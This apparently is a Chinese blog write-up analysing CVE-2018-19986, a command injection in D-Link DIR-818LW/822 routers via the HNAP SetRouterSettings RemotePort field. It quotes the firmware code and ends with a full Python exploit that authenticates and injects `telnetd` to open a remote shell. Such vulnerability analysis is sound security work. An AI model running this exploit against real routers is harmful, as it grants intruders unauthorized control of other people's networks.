路由器漏洞分析(2):CVE-2018-19986 DIR-818LW&828命令注入漏洞分析及复现

漏洞原理

D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06中,通过HNAP1协议访问SetRouterSettings时,RemotePort参数存在操作系统命令注入漏洞。在SetRouterSettings.php源码中,RemotePort参数没有经过任何检查,直接存放于$path_inf_wan1."/web",并且在iptwan.php中的IPTWAN_build_command函数中使用$path_inf_wan1."/web"变量作为iptables的参数,同样未做检查。构造SetRouterSettings.xml,使RemotePort中包含如`telnetd`的shell命令,利用该漏洞执行非法操作系统命令。

./etc/templates/hnap/SetRouterSettings.php:

1
2
3
4
5
6
7
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0);
#$WAN1 = "WAN-1";
$nodebase="/runtime/hnap/SetRouterSettings/";
……
$remotePort = query($nodebase."RemotePort");
……
set($path_inf_wan1."/web", $remotePort);

./etc/services/IPTABLES/iptwan.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function IPTWAN_build_command($name){
$path = XNODE_getpathbytarget("", "inf", "uid", $name, 0);
……
$web = query($path."/web");
……
#web作为iptables的参数写入$_GLOBALS["START"]
if (query($path."/inbfilter") != "")
$inbfn = cut(query($path."/inbfilter"), 1, "-");
$hostip = query($path."/weballow/hostv4ip");
if ($hostip != "")
{
if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n");
}
else
{
if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." -j ACCEPT\n");
}
……
}

PS:服务器的web目录为/htdocs/web/

漏洞分析

关于HNAP

The Home Network Administration Protocol (HNAP) is an HTTP-Simple Object Access Protocol
(SOAP)-based protocol that can be implemented inside of network devices to allow advanced
programmatic configuration and management by remote entities.

HNAP是由Pure Networks开发的协议,后续由Cisco管理与开发。HNAP用于网络设备之间的交互,该协议基于SOAP和HTTP,以post的方式发包。

使用HNAP:在HTTP header中加入SOAPAction,该字段中会指明请求的操作,如Login,并向http://[ip]/HNAP1发送数据,数据形式为xml。

举个栗子,下图是登录时的抓包:

192.168.0.1向路由器192.168.0.2发送数据,在SOAPAction中指定了请求内容。

路由器收到之后以LoginResponse回复发送方,返回了一些登录需要的关键数据.

发送方收到之后,login的action由request变成了login,即发送用户名密码的过程,密码是由用户私钥处理过的数据。

路由器验证登录的用户名和密码,返回登录成功信息。

理解HNAP

为了再深入理解HNAP,查看/htdocs/cgibin二进制文件,简化流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
hnap_main(){
memset(acStack1708,0,0x100);
getenv("HTTP_AUTHORIZATION");
soapaction = getenv("HTTP_SOAPACTION");
request_method = getenv("REQUEST_METHOD");
hnap_auth = getenv("HTTP_HNAP_AUTH");
cookie = getenv("HTTP_COOKIE");
referer = getenv("HTTP_REFERER");
memset(php_path,0,0x100);
//当未指定soapaction时,默认请求为GetDeviceSettings
if (soapaction == (char *)0x0) {
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings";
……
}
else{
……
__s1 = strstr(soapaction,"http://purenetworks.com/HNAP1/Login");
if (__s1 != (char *)0x0) {
……
parse_param_value(uVar2,"Action",action);
parse_param_value(uVar2,"Username",username);
parse_param_value(uVar2,"LoginPassword",pwd);
parse_param_value(uVar2,"Captcha",captcha);
iVar1 = strcmp(action,"request");
//当action为request时
if (iVar1 == 0) {
//产生一个长度为0X32的随机字符串
//例:LVy04tz2fCRlZIu8vefr1OCKu9qTOQaktWkwOhy3rNnQfhWaKB
get_random_string(random_string,0x32);
//cookie_value为前十个字符
//例:LVy04tz2fC
strncpy(cookie_value,random_string,10);
//challenge为接下来20个字符
//例:RlZIu8vefr1OCKu9qTOQ
strncpy(random_challenge,random_string_10,0x14);
//public key为接下来20个字符
//例:aktWkwOhy3rNnQfhWaKB
strncpy(public_key,random_string_30,0x14);
sprintf(public_key_and_0,"%s%s",public_key,0);
strcpy(COOKIE,cookie_value);
strcpy(CHALLENGE,random_challenge);
//HMAC_MD5就是常见的HMAC,hash算法为MD5。这里函数的输出放在第三个参数中
//例:hmac_1=E188583458DE427B6A71C2DD04CB632C
HMAC_MD5(random_challenge,public_key_and_0,hmac_1);
……
//set challenge,privatekey,captcha
//返回soap xml
}//end of action=request
else{
if(strcmp(action,"login")==0 && cookie !=0)
{
find_uid = strstr(cookie,"uid=");
if (find_uid == (char *)0x0) goto LAB_004137fc;
//获取cookie的值
strncpy(cookie_value,find_uid + 4,10);
//检查cookie
__fd=get_cgdata_by_uid(acStack1904,cookie_value);
if (__fd < 0) {
iVar1 = -2;
goto LAB_004137fc;
}
……
//由HMAC计算口令,以hmac_1作为key,对challenge进行hmac
HMAC_MD5(CHALLENGE,hmac_1,PWD);
……
//将计算的口令与发送方中的口令比较
__fd = strcmp((char *)PWD,pwd);
if (__fd == 0) {
login_response_xml("success");
……
}
}//end of action=login
}
} //end of Login
//不是login的情况
if (hnap_auth != (char *)0x0){
……
//hnap_auth用空格分为两部分
auth_1 = strtok(hnap_auth," ");
auth_2 = strtok((char *)0x0," ");
//将auth_2和soapaction连接起来
strcpy(auth_2_soapaction,auth_2);
strcat(auth_2_soapaction,soapaction);
……
HMAC_MD5(auth_2_soapaction,hmac_1,HMAC_AUTH);
//比较auth_1和计算后的值
__fd = strcmp(auth_1,HMAC_AUTH);
if (__fd == 0) {
……
//如果不是Logout,就跳转到0x413330
__format = strstr(soapaction,"http://purenetworks.com/HNAP1/Logout");
if (__format == (char *)0x0) goto LAB_00413330;
……
}
}//end of soapaction!=0
LAB_00413330:
//在soapaction中查找最后一个“/”之后的内容为operation
__format = strrchr(soapaction,0x2f);
operation = __format + 1;
if (__format != (char *)0x0) {
sVar3 = strlen(operation);
if (operation[sVar3 - 1] == '\"') {
operation[sVar3 - 1] = 0;
}
//hnap相关的php都在/etc/templates/hnap下
snprintf(php_path,0x100,"%s/%s.php","/etc/templates/hnap/",operation);
//判断与请求相关的php是否存在,0为存在
iVar1 = access(php_path,0);
if (iVar1 == 0) {
……
snprintf(acStack1708,0x100,"%s%s.php\nShellPath=%s%s.sh\nPrivateKey=%s\n",
"/etc/templates/hnap/",operation,&var_run,operation,&DAT_00438344);
sobj_add_string(iVar4,acStack1708);
……
uVar2 = sobj_get_string();
//该函数会建立一个socket并把上面的acStack1708字符发送给socket;这个socket是与本地的xmldb_sock建立的,理解为发送给本地以执行对应的php
xmldbc_ephp(0,0,uVar2,stdout);
……
snprintf(acStack1708,0x100,"%s",operation);
iVar4 = FUN_004125c8(acStack1708,"/etc/templates/hnap//.shell_action");
//这里无论如何都会为format赋值,内容是执行一个sh脚本的命令
if (iVar4 == 0) {
__format = "sh %s%s.sh > /dev/console";
}
else {
__format = "sh %s%s.sh > /dev/console &";
}
//执行该脚本
//var_run变量对应的字符是"/var/run/"
snprintf(acStack1708,0x100,__format,&var_run,operation);
system(acStack1708);
……
}

漏洞执行顺序

在上面的hnap_main代码中,代入本漏洞SetRouterSettings的情况,最后会执行sh /var/run/SetRouterSettings.sh,这个脚本是动态生成的,在模拟固件并执行poc成功之后查看内容(还没找到具体生成sh脚本的代码)

1
2
3
4
5
#!/bin/sh
echo "[$0]-->RouterSettings Change" > /dev/console
event DBSAVE > /dev/console
service HTTP.WAN-1 start > /dev/console #here!!!
xmldbc -s /runtime/hnap/dev_status '' > /dev/console

HTTP.WAN-1是一种服务,对应于/etc/services/HTTP.WAN-1.php,该服务会开启IPT.WAN-1服务

1
2
3
4
5
6
7
8
<?
include "/etc/services/HTTP/httpsvcs.php";
fwrite("w",$START,"#!/bin/sh\n");
fwrite("w", $STOP,"#!/bin/sh\n");
fwrite("a",$START,"service IPT.WAN-1 restart\n");#here!!!!
fwrite("a",$START,"service STUNNEL restart\n");
httpsetup("WAN-1");
?>

/etc/services/IPT.WAN-1.php会执行之前所说的iptables命令

1
2
3
4
5
<?
include "/htdocs/phplib/trace.php";
include "/etc/services/IPTABLES/iptwan.php";
IPTWAN_build_command("WAN-1");
?>

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import telnetlib
from hashlib import md5
import time
import math

trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256))
trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256))
blocksize = md5().block_size

def hmac_md5(key, msg):
if len(key) > blocksize:
key = md5(key).digest()
key += chr(0) * (blocksize - len(key))
o_key_pad = key.translate(trans_5C)
i_key_pad = key.translate(trans_36)
return md5(o_key_pad + md5(i_key_pad + msg).digest())

def HNAP_AUTH(SOAPAction, privateKey):
b = math.floor(int(time.time())) % 2000000000
b = str(b)[:-2]
h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
return h + " " + b

#输入IP和admin口令,通过读hnap_main的二进制,理解初始状态admin的口令为空(public_key_0:0代表空值)
IP = '192.168.0.1'
adminPw = ''

command = "telnetd" # command injection id

headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'
headers["Origin"] = "http://" + IP
headers["Referer"] = "http://" + IP + "/info/Login.html"
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["X-Requested-With"] = "XMLHttpRequest"

#构造一个action为request的请求发送给Login
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
data = r.text

#通过获取的publickey计算privatekey,根据privatekey计算口令的hmac(在上文中对应的是hmac_1)
challenge = str(data[data.find("<Challenge>") + 11: data.find("</Challenge>")])
cookie = data[data.find("<Cookie>") + 8: data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>") + 11: data.find("</PublicKey>")])
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()

#构造action为login的请求,发送用户名和口令
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>Admin</Username><LoginPassword>'+password+'</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)

#登录成功后访问SetRouterSettings设置路由器的一些配置,其中RemotePort被设置为command
headers["Origin"] = "http://" + IP
headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey)
headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"'
headers["Accept"] = "text/xml"

payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command)
print '[*] command injection'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print(r.text)

print '[*] waiting 30 sec...'
time.sleep(30)

#利用成功之后,服务端已经开启了Telnet服务,攻击者可直接连服务器的Telnet
print '[*] enjoy your shell'
telnetlib.Telnet(IP).interact()

参考链接

【1】 https://github.com/pr0v3rbs/CVE/tree/master/CVE-2018-19986%20-%2019990

【2】InfoSec Handlers Diary Blog - More on HNAP - What is it, How to Use it, How to Find it https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648

【3】https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf

【4】Hacking the D-Link DIR-890L – ccSec | 漏洞人生 http://www.vuln.cn/6237